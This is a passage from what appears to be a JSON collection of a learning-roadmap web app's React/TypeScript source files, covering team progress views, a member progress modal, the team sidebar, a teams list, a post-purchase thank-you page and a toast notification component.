renderTopicProgress(id, 'skipped'));\n        removed.forEach((id) => renderTopicProgress(id, 'removed'));\n      })\n      .catch((err) => {\n        console.error(err);\n        toast.error(err?.message || 'Something went wrong. Please try again!');\n      })\n      .finally(() => {\n        setIsLoading(false);\n      });\n  }, [member]);\n\n  function updateTopicStatus(topicId: string, newStatus: ResourceProgressType) {\n    if (!resourceId || !resourceType || !isCurrentUser) {\n      return;\n    }\n\n    pageProgressMessage.set('Updating progress');\n    updateResourceProgress(\n      {\n        resourceId: resourceId,\n        resourceType: resourceType as ResourceType,\n        topicId,\n      },\n      newStatus,\n    )\n      .then(() => {\n        renderTopicProgress(topicId, newStatus);\n        getMemberProgress(teamId, member._id, resourceType, resourceId).then(\n          (data) => {\n            setMemberProgress(data);\n          },\n        );\n      })\n      .catch((err) => {\n        alert('Something went wrong, please try again.');\n        console.error(err);\n      })\n      .finally(() => {\n        pageProgressMessage.set('');\n      });\n\n    return;\n  }\n\n  async function handleRightClick(e: MouseEvent) {\n    const targetGroup = (e.target as HTMLElement)?.closest('g');\n    if (!targetGroup) {\n      return;\n    }\n\n    const groupId = targetGroup.dataset ? targetGroup.dataset.groupId : '';\n    if (!groupId) {\n      return;\n    }\n    const topicId = groupId.replace(/^\\d+-/, '');\n\n    if (targetGroup.classList.contains('removed')) {\n      e.preventDefault();\n      return;\n    }\n\n    e.preventDefault();\n    const isCurrentStatusDone = targetGroup?.classList.contains('done');\n\n    updateTopicStatus(topicId, !isCurrentStatusDone ? 'done' : 'pending');\n  }\n\n  async function handleClick(e: MouseEvent) {\n    const targetGroup = (e.target as HTMLElement)?.closest('g');\n    if (!targetGroup) {\n      return;\n    }\n    const groupId = targetGroup.dataset ? targetGroup.dataset.groupId : '';\n    if (!groupId) {\n      return;\n    }\n    const topicId = groupId.replace(/^\\d+-/, '');\n\n    if (targetGroup.classList.contains('removed')) {\n      return;\n    }\n\n    e.preventDefault();\n    const isCurrentStatusLearning = targetGroup.classList.contains('learning');\n    const isCurrentStatusSkipped = targetGroup.classList.contains('skipped');\n\n    if (e.shiftKey) {\n      e.preventDefault();\n      updateTopicStatus(\n        topicId,\n        !isCurrentStatusLearning ? 'learning' : 'pending',\n      );\n      return;\n    }\n\n    if (e.altKey) {\n      e.preventDefault();\n      updateTopicStatus(\n        topicId,\n        !isCurrentStatusSkipped ? 'skipped' : 'pending',\n      );\n\n      return;\n    }\n  }\n\n  useEffect(() => {\n    if (!member || !containerEl.current) {\n      return;\n    }\n\n    containerEl.current?.addEventListener('contextmenu', handleRightClick);\n    containerEl.current?.addEventListener('click', handleClick);\n\n    return () => {\n      containerEl.current?.removeEventListener('contextmenu', handleRightClick);\n      containerEl.current?.removeEventListener('click', handleClick);\n    };\n  }, [member]);\n\n  return (\n    <div className=\"fixed top-0 right-0 left-0 z-100 h-full items-center justify-center overflow-x-hidden overflow-y-auto overscroll-contain bg-black/50\">\n      <div\n        id={renderer === 'editor' ? undefined : 'customized-roadmap'}\n        className=\"relative mx-auto h-full w-full max-w-4xl p-4 md:h-auto\"\n      >\n        <div\n          ref={popupBodyEl}\n          className=\"popup-body relative rounded-lg bg-white pt-[1px] shadow-sm\"\n        >\n          <MemberProgressModalHeader\n            resourceId={resourceId}\n            member={member}\n            progress={memberProgress}\n            isCurrentUser={isCurrentUser}\n            onShowMyProgress={onShowMyProgress}\n            isLoading={isLoading}\n          />\n\n          <div\n            id={'resource-svg-wrap'}\n            ref={containerEl}\n            className=\"px-4 pb-2\"\n          ></div>\n\n          {isLoading && (\n            <div className=\"flex w-full justify-center\">\n              <Spinner\n                isDualRing={false}\n                className=\"mt-2 mb-4 h-4 w-4 animate-spin fill-blue-600 text-gray-200 sm:h-8 sm:w-8\"\n              />\n            </div>\n          )}\n\n          <button\n            type=\"button\"\n            className={`absolute top-3 right-2.5 ml-auto inline-flex items-center rounded-lg bg-transparent p-1.5 text-sm text-gray-400 hover:text-gray-900 lg:hidden ${\n              isCurrentUser ? 'hover:bg-gray-800' : 'hover:bg-gray-100'\n            }`}\n            onClick={onClose}\n          >\n            <XIcon className=\"h-4 w-4\" />\n\n            <span className=\"sr-only\">Close modal</span>\n          </button>\n        </div>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/TeamProgress/MemberProgressModalHeader.tsx",
    "content": "import type { MemberProgressResponse } from './MemberCustomProgressModal';\nimport type { TeamMember } from './TeamProgressPage';\n\ntype MemberProgressModalHeaderProps = {\n  member: TeamMember;\n  progress?: MemberProgressResponse;\n  resourceId: string;\n  isLoading: boolean;\n  onShowMyProgress: () => void;\n  isCurrentUser: boolean;\n};\n\nexport function MemberProgressModalHeader(\n  props: MemberProgressModalHeaderProps\n) {\n  const {\n    progress: memberProgress,\n    member,\n    resourceId,\n    isLoading,\n    onShowMyProgress,\n    isCurrentUser,\n  } = props;\n\n  const removedTopics = memberProgress?.removed || [];\n  const memberDone =\n    memberProgress?.done.filter((id) => !removedTopics.includes(id)).length ||\n    0;\n  const memberLearning =\n    memberProgress?.learning.filter((id) => !removedTopics.includes(id))\n      .length || 0;\n  const memberSkipped =\n    memberProgress?.skipped.filter((id) => !removedTopics.includes(id))\n      .length || 0;\n\n  const currProgress = member.progress.find((p) => p.resourceId === resourceId);\n  const memberTotal = currProgress?.total || 0;\n\n  const progressPercentage = Math.round((memberDone / memberTotal) * 100);\n\n  return (\n    <>\n      {isCurrentUser && (\n        <div className=\"sticky top-1 z-50 mx-1 mb-0 mt-1 rounded-xl bg-gray-900 p-4 text-gray-300\">\n          <h2 className={'mb-1.5 text-base'}>\n            Follow the Instructions below to update your progress\n          </h2>\n          <ul className=\"flex flex-col gap-1\">\n            <li className=\"leading-loose\">\n              <kbd className=\"rounded-md bg-yellow-200 px-2 py-1.5 text-xs text-gray-900\">\n                Right Mouse Click\n              </kbd>{' '}\n              on a topic to mark as{' '}\n              <span className={'font-medium text-white'}>Done</span>.\n            </li>\n            <li className=\"leading-loose\">\n              <kbd className=\"rounded-md bg-yellow-200 px-2 py-1.5 text-xs text-gray-900\">\n                Shift\n              </kbd>{' '}\n              +{' '}\n              <kbd className=\"rounded-md bg-yellow-200 px-2 py-1.5 text-xs text-gray-900\">\n                Click\n              </kbd>{' '}\n              on a topic to mark as{' '}\n              <span className=\"font-medium text-white\">In progress</span>.\n            </li>\n          </ul>\n        </div>\n      )}\n\n      <div className=\"p-4\">\n        {!isCurrentUser && (\n          <div className=\"mb-5 mt-0 text-left md:mt-4 md:text-center\">\n            <h2 className={'mb-1 text-lg font-bold md:text-2xl'}>\n              {member.name}'s Progress\n            </h2>\n            <p\n              className={\n                'hidden text-xs text-gray-500 sm:text-sm md:block md:text-base'\n              }\n            >\n              You are looking at {member.name}'s progress.{' '}\n              <button\n                className=\"text-blue-600 underline\"\n                onClick={onShowMyProgress}\n              >\n                View your progress\n              </button>\n              .\n            </p>\n            <p className={'block text-gray-500 md:hidden'}>\n              <button\n                className=\"text-blue-600 underline\"\n                onClick={onShowMyProgress}\n              >\n                View your progress.\n              </button>\n            </p>\n          </div>\n        )}\n        <p\n          className={`-mx-4 mb-3 flex items-center justify-start border-b border-t px-4 py-2 text-sm sm:hidden ${\n            isLoading ? 'striped-loader' : ''\n          }`}\n        >\n          <span className=\"mr-2.5 block rounded-xs bg-yellow-200 px-1 py-0.5 text-xs font-medium uppercase text-yellow-900\">\n            <span>{progressPercentage}</span>% Done\n          </span>\n\n          <span>\n            <span>{memberDone}</span> of <span>{memberTotal}</span> done\n          </span>\n        </p>\n        <p\n          className={`-mx-4 mb-3 hidden items-center justify-center border-b border-t py-2 text-sm sm:flex ${\n            isLoading ? 'striped-loader' : ''\n          }`}\n        >\n          <span className=\"mr-2.5 block rounded-xs bg-yellow-200 px-1 py-0.5 text-xs font-medium uppercase text-yellow-900\">\n            <span>{progressPercentage}</span>% Done\n          </span>\n\n          <span>\n            <span>{memberDone}</span> completed\n          </span>\n          <span className=\"mx-1.5 text-gray-400\">·</span>\n          <span>\n            <span data-progress-learning=\"\">{memberLearning}</span> in progress\n          </span>\n\n          {memberSkipped > 0 && (\n            <>\n              <span className=\"mx-1.5 text-gray-400\">·</span>\n              <span>\n                <span data-progress-skipped=\"\">{memberSkipped}</span> skipped\n              </span>\n            </>\n          )}\n\n          <span className=\"mx-1.5 text-gray-400\">·</span>\n          <span>\n            <span data-progress-total=\"\">{memberTotal}</span> Total\n          </span>\n        </p>\n      </div>\n    </>\n  );\n}\n"
  },
  {
    "path": "src/components/TeamProgress/TeamProgressPage.tsx",
    "content": "import { useStore } from '@nanostores/react';\nimport { useEffect, useState } from 'react';\nimport { useAuth } from '../../hooks/use-auth';\nimport { useToast } from '../../hooks/use-toast';\nimport { getUrlParams, setUrlParams } from '../../lib/browser';\nimport { httpGet } from '../../lib/http';\nimport { pageProgressMessage } from '../../stores/page';\nimport { $currentTeam } from '../../stores/team';\nimport { GroupRoadmapItem } from './GroupRoadmapItem';\nimport { MemberCustomProgressModal } from './MemberCustomProgressModal';\nimport { MemberProgressItem } from './MemberProgressItem';\nimport { MemberProgressModal } from './MemberProgressModal';\n\nexport type UserProgress = {\n  resourceTitle: string;\n  resourceType: 'roadmap' | 'best-practice';\n  resourceId: string;\n  isFavorite: boolean;\n  done: number;\n  learning: number;\n  skipped: number;\n  total: number;\n  updatedAt: string;\n  isCustomResource?: boolean;\n  roadmapSlug?: string;\n  aiRoadmapId?: string;\n};\n\nexport type TeamMember = {\n  _id: string;\n  role: string;\n  name: string;\n  email: string;\n  avatar: string;\n  progress: UserProgress[];\n  updatedAt: string;\n};\n\nexport type GroupByRoadmap = {\n  resourceId: string;\n  resourceTitle: string;\n  resourceType: string;\n  isCustomResource?: boolean;\n  roadmapSlug?: string;\n  members: {\n    member: TeamMember;\n    progress: UserProgress | undefined;\n  }[];\n};\n\nconst groupingTypes = [\n  { label: 'Members', value: 'member' },\n  { label: 'Roadmaps', value: 'roadmap' },\n] as const;\n\nexport function TeamProgressPage() {\n  const { t: teamId, gb: groupBy } = getUrlParams();\n\n  const [isLoading, setIsLoading] = useState(true);\n  const toast = useToast();\n  const currentTeam = useStore($currentTeam);\n  const user = useAuth();\n\n  const [showMemberProgress, setShowMemberProgress] = useState<{\n    resourceId: string;\n    member: TeamMember;\n    isCustomResource?: boolean;\n  }>();\n\n  const [teamMembers, setTeamMembers] = useState<TeamMember[]>([]);\n  const [selectedGrouping, setSelectedGrouping] = useState<\n    'roadmap' | 'member'\n  >(groupBy || 'member');\n\n  async function getTeamProgress() {\n    const { response, error } = await httpGet<TeamMember[]>(\n      `${import.meta.env.PUBLIC_API_URL}/v1-get-team-progress/${teamId}`,\n    );\n    if (error || !response) {\n      toast.error(error?.message || 'Failed to get team progress');\n      return;\n    }\n\n    setTeamMembers(\n      response.sort((a, b) => {\n        if (a.email === user?.email) {\n          return -1;\n        }\n        if (b.email === user?.email) {\n          return 1;\n        }\n        return 0;\n      }),\n    );\n  }\n\n  useEffect(() => {\n    if (!teamId) {\n      return;\n    }\n\n    getTeamProgress().then(() => {\n      pageProgressMessage.set('');\n      setIsLoading(false);\n    });\n  }, [teamId]);\n\n  useEffect(() => {\n    if (!selectedGrouping) {\n      return;\n    }\n\n    setUrlParams({ gb: selectedGrouping });\n  }, [selectedGrouping]);\n\n  const groupByRoadmap: GroupByRoadmap[] = [];\n  for (const roadmap of currentTeam?.roadmaps || []) {\n    let isCustomResource = false;\n    const members: GroupByRoadmap['members'] = [];\n    for (const member of teamMembers) {\n      const progress = member.progress.find(\n        (progress) => progress.resourceId === roadmap,\n      );\n      if (!progress) {\n        continue;\n      }\n      if (progress.isCustomResource && !isCustomResource) {\n        isCustomResource = true;\n      }\n\n      members.push({\n        member,\n        progress,\n      });\n    }\n\n    if (!members.length) {\n      continue;\n    }\n\n    groupByRoadmap.push({\n      resourceId: roadmap,\n      resourceTitle: members?.[0].progress?.resourceTitle || '',\n      resourceType: 'roadmap',\n      roadmapSlug: members?.[0].progress?.roadmapSlug,\n      members,\n      isCustomResource,\n    });\n  }\n\n  if (!teamId) {\n    window.location.href = '/';\n    return;\n  }\n\n  if (isLoading) {\n    return null;\n  }\n\n  const ProgressModal =\n    showMemberProgress && !showMemberProgress.isCustomResource\n      ? MemberProgressModal\n      : MemberCustomProgressModal;\n\n  return (\n    <div>\n      {showMemberProgress && (\n        <ProgressModal\n          member={showMemberProgress.member}\n          teamId={teamId}\n          resourceId={showMemberProgress.resourceId}\n          resourceType={'roadmap'}\n          isCustomResource={showMemberProgress.isCustomResource}\n          onClose={() => {\n            setShowMemberProgress(undefined);\n          }}\n          onShowMyProgress={() => {\n            setShowMemberProgress({\n              resourceId: showMemberProgress.resourceId,\n              member: teamMembers.find(\n                (member) => member.email === user?.email,\n              )!,\n              isCustomResource: showMemberProgress.isCustomResource,\n            });\n          }}\n        />\n      )}\n\n      <div className=\"flex items-center gap-2\">\n        {groupingTypes.map((grouping) => (\n          <button\n            key={grouping.value}\n            className={`rounded-md border p-1 px-2 text-sm ${\n              selectedGrouping === grouping.value\n                ? 'border-gray-400 bg-gray-200'\n                : ''\n            }`}\n            onClick={() => setSelectedGrouping(grouping.value)}\n          >\n            {grouping.label}\n          </button>\n        ))}\n      </div>\n\n      <div className=\"mt-6\">\n        {selectedGrouping === 'roadmap' && (\n          <div className=\"grid gap-4 sm:grid-cols-2\">\n            {groupByRoadmap.map((roadmap) => {\n              return (\n                <GroupRoadmapItem\n                  key={roadmap.resourceId}\n                  roadmap={roadmap}\n                  onShowResourceProgress={(member, resourceId) => {\n                    setShowMemberProgress({\n                      resourceId,\n                      member,\n                      isCustomResource: roadmap.isCustomResource,\n                    });\n                  }}\n                />\n              );\n            })}\n          </div>\n        )}\n        {selectedGrouping === 'member' && (\n          <div className=\"grid gap-4 sm:grid-cols-2\">\n            {teamMembers.map((member) => {\n              const canViewMemberProgress =\n                currentTeam?.role !== 'member' ||\n                !currentTeam?.personalProgressOnly ||\n                member.email === user?.email;\n\n              if (!canViewMemberProgress) {\n                return null;\n              }\n\n              return (\n                <MemberProgressItem\n                  key={member._id}\n                  member={member}\n                  teamId={teamId}\n                  isMyProgress={member?.email === user?.email}\n                  onShowResourceProgress={(resourceId, isCustomResource) => {\n                    setShowMemberProgress({\n                      resourceId,\n                      member,\n                      isCustomResource,\n                    });\n                  }}\n                />\n              );\n            })}\n          </div>\n        )}\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/TeamRoadmaps/PickRoadmapOptionModal.tsx",
    "content": "import { Modal } from '../Modal';\nimport { Map, Shapes } from 'lucide-react';\n\ntype PickRoadmapOptionModalProps = {\n  onClose: () => void;\n  showDefaultRoadmapsModal: () => void;\n  showCreateCustomRoadmapModal: () => void;\n};\n\nexport function PickRoadmapOptionModal(props: PickRoadmapOptionModalProps) {\n  const { onClose, showDefaultRoadmapsModal, showCreateCustomRoadmapModal } =\n    props;\n\n  return (\n    <Modal onClose={onClose} bodyClassName=\"p-4\">\n      <h2 className=\"mb-0.5 text-left text-2xl font-semibold\">Pick an Option</h2>\n      <p className=\"text-left text-sm text-gray-500 mb-4\">\n        Choose from default roadmaps or create from scratch.\n      </p>\n\n      <div className=\"flex flex-col gap-2\">\n        <button\n          className=\"text-base flex items-center rounded-md border border-gray-300 p-2 px-4 text-left font-medium hover:bg-gray-100\"\n          onClick={showDefaultRoadmapsModal}\n        >\n          <Map className=\"mr-2 inline-block\" size={20} />\n          Use a Default Roadmap\n        </button>\n        <button\n          className=\"text-base flex items-center rounded-md border border-gray-300 p-2 px-4 text-left font-medium hover:bg-gray-100\"\n          onClick={showCreateCustomRoadmapModal}\n        >\n          <Shapes className=\"mr-2 inline-block\" size={20} />\n          Create from Scratch\n        </button>\n      </div>\n    </Modal>\n  );\n}\n"
  },
  {
    "path": "src/components/TeamSidebar.tsx",
    "content": "import { TeamDropdown } from './TeamDropdown/TeamDropdown';\nimport { useTeamId } from '../hooks/use-team-id';\nimport ChatIcon from '../icons/chat.svg';\nimport type { ReactNode } from 'react';\nimport { useState } from 'react';\nimport { useStore } from '@nanostores/react';\nimport { $currentTeam } from '../stores/team';\nimport { SubmitFeedbackPopup } from './Feedback/SubmitFeedbackPopup';\nimport { ChevronDownIcon } from './ReactIcons/ChevronDownIcon.tsx';\nimport { GroupIcon } from './ReactIcons/GroupIcon.tsx';\nimport { TeamProgressIcon } from './ReactIcons/TeamProgressIcon.tsx';\nimport { BarChart2, MapIcon, MessageCircle } from 'lucide-react';\nimport { CogIcon } from './ReactIcons/CogIcon.tsx';\n\ntype TeamSidebarProps = {\n  activePageId: string;\n  children: ReactNode;\n};\n\nexport function TeamSidebar({ activePageId, children }: TeamSidebarProps) {\n  const [menuShown, setMenuShown] = useState(false);\n  const currentTeam = useStore($currentTeam);\n  const [showFeedbackPopup, setShowFeedbackPopup] = useState(false);\n\n  const { teamId } = useTeamId();\n\n  const sidebarLinks = [\n    {\n      title: 'Activity',\n      href: `/team/activity?t=${teamId}`,\n      id: 'activity',\n      icon: BarChart2,\n    },\n    {\n      title: 'Progress',\n      href: `/team/progress?t=${teamId}`,\n      id: 'progress',\n      icon: TeamProgressIcon,\n    },\n    {\n      title: 'Roadmaps',\n      href: `/team/roadmaps?t=${teamId}`,\n      id: 'roadmaps',\n      icon: MapIcon,\n      hasWarning: currentTeam?.roadmaps?.length === 0,\n    },\n    {\n      title: 'Members',\n      href: `/team/members?t=${teamId}`,\n      id: 'members',\n      icon: GroupIcon,\n    },\n    {\n      title: 'Settings',\n      href: `/team/settings?t=${teamId}`,\n      id: 'settings',\n      icon: CogIcon,\n    },\n  ];\n\n  return (\n    <>\n      <div className=\"relative mb-5 block border-b p-4 shadow-inner md:hidden\">\n        <button\n          className=\"flex h-10 w-full items-center justify-between rounded-md border bg-white px-2 text-center text-sm font-medium text-gray-900\"\n          id=\"settings-menu\"\n          aria-haspopup=\"true\"\n          aria-expanded=\"true\"\n          onClick={() => setMenuShown(!menuShown)}\n        >\n          {\n            sidebarLinks.find((sidebarLink) => sidebarLink.id === activePageId)\n              ?.title\n          }\n          <ChevronDownIcon className=\"h-4 w-4\" />\n        </button>\n        {menuShown && (\n          <ul\n            id=\"settings-menu-dropdown\"\n            className=\"absolute left-0 right-0 z-50 mt-1 space-y-1.5 bg-white p-2 shadow-lg\"\n          >\n            <li>\n              <a\n                href=\"/team\"\n                className={`flex w-full items-center rounded px-3 py-1.5 text-sm text-slate-900 hover:bg-slate-200 ${\n                  activePageId === 'team' ? 'bg-slate-100' : ''\n                }`}\n              >\n                <GroupIcon className=\"mr-2 h-4 w-4\" />\n                Personal Account / Teams\n              </a>\n            </li>\n            {sidebarLinks.map((sidebarLink) => {\n              const isActive = activePageId === sidebarLink.id;\n\n              return (\n                <li key={sidebarLink.id}>\n                  <a\n                    href={sidebarLink.href}\n                    className={`flex w-full items-center rounded px-3 py-1.5 text-sm text-slate-900 hover:bg-slate-200 ${\n                      isActive ? 'bg-slate-100' : ''\n                    }`}\n                  >\n                    {<sidebarLink.icon className=\"mr-2 h-4 w-4\" />}\n\n                    {sidebarLink.title}\n                  </a>\n                </li>\n              );\n            })}\n\n            <li>\n              <button\n                className={`flex w-full items-center rounded-sm px-3 py-1.5 text-sm text-slate-900 hover:bg-slate-200`}\n                onClick={() => setShowFeedbackPopup(true)}\n              >\n                <MessageCircle className=\"mr-2 h-4 w-4\" />\n                Send Feedback\n              </button>\n            </li>\n          </ul>\n        )}\n      </div>\n      {showFeedbackPopup && (\n        <SubmitFeedbackPopup\n          onClose={() => {\n            setShowFeedbackPopup(false);\n          }}\n        />\n      )}\n\n      <div className=\"container flex min-h-screen items-stretch\">\n        <aside className=\"hidden w-44 shrink-0 border-r border-slate-200 py-10 md:block\">\n          <TeamDropdown />\n          <nav>\n            <ul className=\"space-y-1\">\n              {sidebarLinks.map((sidebarLink) => {\n                const isActive = activePageId === sidebarLink.id;\n\n                return (\n                  <li key={sidebarLink.id}>\n                    <a\n                      href={sidebarLink.href}\n                      className={`font-regular flex w-full items-center border-r-2 px-2 py-1.5 text-sm ${\n                        isActive\n                          ? 'border-r-black bg-gray-100 text-black'\n                          : 'border-r-transparent text-gray-500 hover:border-r-gray-300'\n                      }`}\n                    >\n                      <span className=\"flex grow items-center justify-between\">\n                        <span className=\"flex\">\n                          {<sidebarLink.icon className=\"mr-2 h-4 w-4\" />}\n\n                          {sidebarLink.title}\n                        </span>\n                        {sidebarLink.hasWarning && (\n                          <span className=\"relative mr-1 flex items-center\">\n                            <span className=\"relative rounded-full bg-red-200 p-1 text-xs\" />\n                            <span className=\"absolute bottom-0 left-0 right-0 top-0 animate-ping rounded-full bg-red-400 p-1 text-xs\" />\n                          </span>\n                        )}\n                      </span>\n                    </a>\n                  </li>\n                );\n              })}\n            </ul>\n\n            <button\n              className=\"mr-3 mt-4 flex items-center justify-center rounded-md border p-2 text-sm text-gray-500 transition-colors hover:border-gray-300 hover:bg-gray-50 hover:text-black\"\n              onClick={() => setShowFeedbackPopup(true)}\n            >\n              <MessageCircle className=\"mr-2 h-4 w-4\" />\n              Send Feedback\n            </button>\n          </nav>\n        </aside>\n        <div className=\"grow px-0 py-0 md:px-10 md:py-10\">{children}</div>\n      </div>\n    </>\n  );\n}\n"
  },
  {
    "path": "src/components/TeamsList.tsx",
    "content": "import { useEffect, useState } from 'react';\nimport { httpGet } from '../lib/http';\nimport { useAuth } from '../hooks/use-auth';\nimport { pageProgressMessage } from '../stores/page';\nimport { useToast } from '../hooks/use-toast';\nimport { type UserTeamItem } from './TeamDropdown/TeamDropdown';\n\nexport function TeamsList() {\n  const [teamList, setTeamList] = useState<UserTeamItem[]>([]);\n  const user = useAuth();\n  const toast = useToast();\n  async function getAllTeam() {\n    const { response, error } = await httpGet<UserTeamItem[]>(\n      `${import.meta.env.PUBLIC_API_URL}/v1-get-user-teams`,\n    );\n    if (error || !response) {\n      toast.error(error?.message || 'Something went wrong');\n      return;\n    }\n\n    setTeamList(response);\n  }\n\n  useEffect(() => {\n    getAllTeam().finally(() => {\n      pageProgressMessage.set('');\n    });\n  }, []);\n\n  return (\n    <div className=\"relative mx-auto max-w-[500px]\">\n      <div className=\"w-full px-2 py-2\">\n        <div className={'mb-8 hidden md:block'}>\n          <h2 className={'text-3xl font-bold sm:text-4xl'}>Teams</h2>\n          <p className=\"mt-2 text-gray-400\">\n            Here are the teams you are part of\n          </p>\n        </div>\n\n        <ul className=\"mb-3 flex flex-col gap-1\">\n          <li>\n            <a\n              className=\"flex w-full cursor-pointer items-center justify-between gap-2 truncate rounded-sm border p-2 text-sm font-medium hover:border-gray-300 hover:bg-gray-50\"\n              href=\"/account\"\n            >\n              <span className=\"flex grow items-center gap-2\">\n                <img\n                  src={\n                    user?.avatar\n                      ? `${import.meta.env.PUBLIC_AVATAR_BASE_URL}/${\n                          user?.avatar\n                        }`\n                      : '/img/default-avatar.png'\n                  }\n                  alt={user?.name || ''}\n                  className=\"h-6 w-6 rounded-full\"\n                />\n                <span className=\"truncate\">Personal Account</span>\n              </span>\n              <span>&rarr;</span>\n            </a>\n          </li>\n          {teamList.map((team) => {\n            let pageLink = '';\n            if (team.status === 'invited') {\n              pageLink = `/respond-invite?i=${team.memberId}`;\n            } else if (team.status === 'joined') {\n              pageLink = `/team/activity?t=${team._id}`;\n            }\n\n            return (\n              <li key={team._id}>\n                <a\n                  className=\"flex w-full cursor-pointer items-center justify-between gap-2 rounded-sm border p-2 text-sm font-medium hover:border-gray-300 hover:bg-gray-50\"\n                  href={pageLink}\n                >\n                  <span className=\"flex grow items-center gap-2\">\n                    <img\n                      src={\n                        team.avatar\n                          ? `${import.meta.env.PUBLIC_AVATAR_BASE_URL}/${\n                              team.avatar\n                            }`\n                          : '/img/default-avatar.png'\n                      }\n                      alt={team.name || ''}\n                      className=\"h-6 w-6 rounded-full\"\n                    />\n                    <span className=\"truncate\">{team.name}</span>\n                  </span>\n                  <span>&rarr;</span>\n                </a>\n              </li>\n            );\n          })}\n        </ul>\n        <a\n          className=\"inline-flex w-full items-center justify-center rounded-lg bg-black p-2 py-3 text-sm font-medium text-white outline-hidden focus:ring-2 focus:ring-black focus:ring-offset-1 disabled:bg-gray-400\"\n          href=\"/team/new\"\n        >\n          <span className=\"mr-2\">+</span>\n          <span>New Team</span>\n        </a>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/ThankYou/ThankYouPage.tsx",
    "content": "import { useEffect, useState } from 'react';\nimport { getUrlParams } from '../../lib/browser';\nimport { Spinner } from '../ReactIcons/Spinner';\nimport { VerifyUpgrade } from '../Billing/VerifyUpgrade';\nimport { ChevronRight } from 'lucide-react';\n\nexport function ThankYouPage() {\n  const [isLoading, setIsLoading] = useState(true);\n  const [nextPage, setNextPage] = useState<string | null>(null);\n  const [shouldVerifyUpgrade, setShouldVerifyUpgrade] = useState(false);\n\n  useEffect(() => {\n    const params = getUrlParams();\n    const next = params?.next;\n    const shouldVerifyUpgrade = params?.s === '1';\n    if (!next) {\n      window.location.href = '/';\n      return;\n    }\n\n    let decodedNextPage = decodeURIComponent(next);\n\n    if (decodedNextPage === '/courses/sql') {\n      decodedNextPage = `${import.meta.env.PUBLIC_COURSE_APP_URL}/sql`;\n\n      window?.fireEvent({\n        action: 'sql_course_purchase_complete',\n        category: 'course',\n        label: 'SQL Course Purchase Completed',\n      });\n    }\n\n    setNextPage(decodedNextPage);\n    setIsLoading(false);\n    setShouldVerifyUpgrade(shouldVerifyUpgrade);\n  }, []);\n\n  const pageType = nextPage?.startsWith('/courses/')\n    ? 'course'\n    : nextPage?.startsWith('/ai')\n      ? 'ai-tutor'\n      : 'other';\n\n  if (isLoading) {\n    return (\n      <div className=\"flex flex-grow flex-col items-center justify-center py-20\">\n        <Spinner isDualRing={false} className=\"mb-5 h-7 w-7\" />\n        <p className=\"mb-1 text-xl font-medium\">Please wait</p>\n        <p className=\"text-gray-500\">This may take a few seconds</p>\n      </div>\n    );\n  }\n\n  return (\n    <>\n      {shouldVerifyUpgrade && <VerifyUpgrade />}\n\n      <div className=\"flex flex-grow flex-col items-center justify-center px-4\">\n        <div className=\"flex max-w-2xl flex-col items-center text-center\">\n          <img\n            src=\"/img/gifs/party-popper.gif\"\n            alt=\"Thank you\"\n            className=\"relative left-6 mb-6 aspect-square w-24\"\n          />\n\n          <h1 className=\"mb-3 text-4xl font-bold text-gray-800 md:text-5xl\">\n            Thank you!\n          </h1>\n\n          <p className=\"mb-8 text-lg text-gray-600 max-w-lg text-balance\">\n            Your transaction was successful and your access has been activated.\n          </p>\n\n          {nextPage && (\n            <a\n              href={nextPage}\n              className=\"group flex items-center gap-2 rounded-lg bg-purple-500 px-5 py-2.5 font-medium text-white transition-all hover:bg-blue-600\"\n            >\n              {pageType === 'course'\n                ? 'Continue to Course'\n                : pageType === 'ai-tutor'\n                  ? 'Continue to AI Tutor'\n                  : 'Continue'}\n              <ChevronRight className=\"h-4 w-4 transition-transform group-hover:translate-x-1\" />\n            </a>\n          )}\n        </div>\n\n        <div className=\"mt-12 flex gap-4 text-sm text-gray-500\">\n          <a href=\"/terms\" className=\"hover:text-gray-800\">\n            Terms of Use\n          </a>\n          <a href=\"/privacy\" className=\"hover:text-gray-800\">\n            Privacy Policy\n          </a>\n        </div>\n      </div>\n    </>\n  );\n}\n"
  },
  {
    "path": "src/components/Toast.tsx",
    "content": "import { useStore } from '@nanostores/react';\nimport { $toastMessage } from '../stores/toast';\nimport { useEffect } from 'react';\nimport { CheckIcon } from './ReactIcons/CheckIcon';\nimport { ErrorIcon } from './ReactIcons/ErrorIcon';\nimport { WarningIcon } from './ReactIcons/WarningIcon';\nimport { InfoIcon } from './ReactIcons/InfoIcon';\nimport { Spinner } from './ReactIcons/Spinner';\nimport { deleteUrlParam, getUrlParams, setUrlParams } from '../lib/browser';\n\nconst messageCodes: Record<string, string> = {\n  tl: 'Successfully left the team',\n  fs: 'Friend request sent',\n  fa: 'Friend request accepted',\n};\n\nexport function Toaster(props: Props) {\n  const toastMessage = useStore($toastMessage);\n\n  const { c } = getUrlParams();\n  if (c) {\n    deleteUrlParam('c');\n\n    if (messageCodes[c]) {\n      $toastMessage.set({ type: 'success', message: messageCodes[c] });\n    }\n  }\n\n  useEffect(() => {\n    if (toastMessage === undefined) {\n      return;\n    }\n\n    const removeMessage = setTimeout(() => {\n      if (toastMessage?.type !== 'loading') {\n        $toastMessage.set(undefined);\n      }\n    }, 2500);\n\n    return () => {\n      clearTimeout(removeMessage);\n    };\n  }, [toastMessage]);\n\n  if (!toastMessage) {\n    return null;\n  }\n\n  return (\n    <div\n      onClick={() => {\n        $toastMessage.set(undefined);\n      }}\n      className={`fixed bottom-5 left-1/2 z-9999 min-w-[375px] max-w-[375px] animate-fade-slide-up sm:min-w-[auto]`}\n    >\n      <div\n        className={`flex -translate-x-1/2 transform cursor-pointer items-center gap-2 rounded-md border border-gray-200 bg-white py-3 pl-4 pr-5 text-black shadow-md hover:bg-gray-50`}\n      >\n        {toastMessage.type === 'success' && (\n          <CheckIcon additionalClasses=\"h-5 w-5 shrink-0 relative top-[0.5px] text-green-500\" />\n        )}\n\n        {toastMessage.type === 'error' && (\n          <ErrorIcon additionalClasses=\"h-5 w-5 shrink-0 relative top-[0.5px] text-red-500\" />\n        )}\n\n        {toastMessage.type === 'warning' && (\n          <WarningIcon additionalClasses=\"h-5 w-5 shrink-0 relative top-[0.5px] text-orange-500\" />\n        )}\n\n        {toastMessage.type === 'info' && (\n          <InfoIcon additionalClasses=\"h-5 w-5 shrink-0 relative top-[0.5px] text-blue-500\" />\n        )}\n\n        {toastMessage.type === 'loading' && <Spinner isDualRing={false} />}\n\n        <span className=\"grow text-base\">{toastMessage.message}</span>\n      </div>\n    </div>\n  );\n}\n"
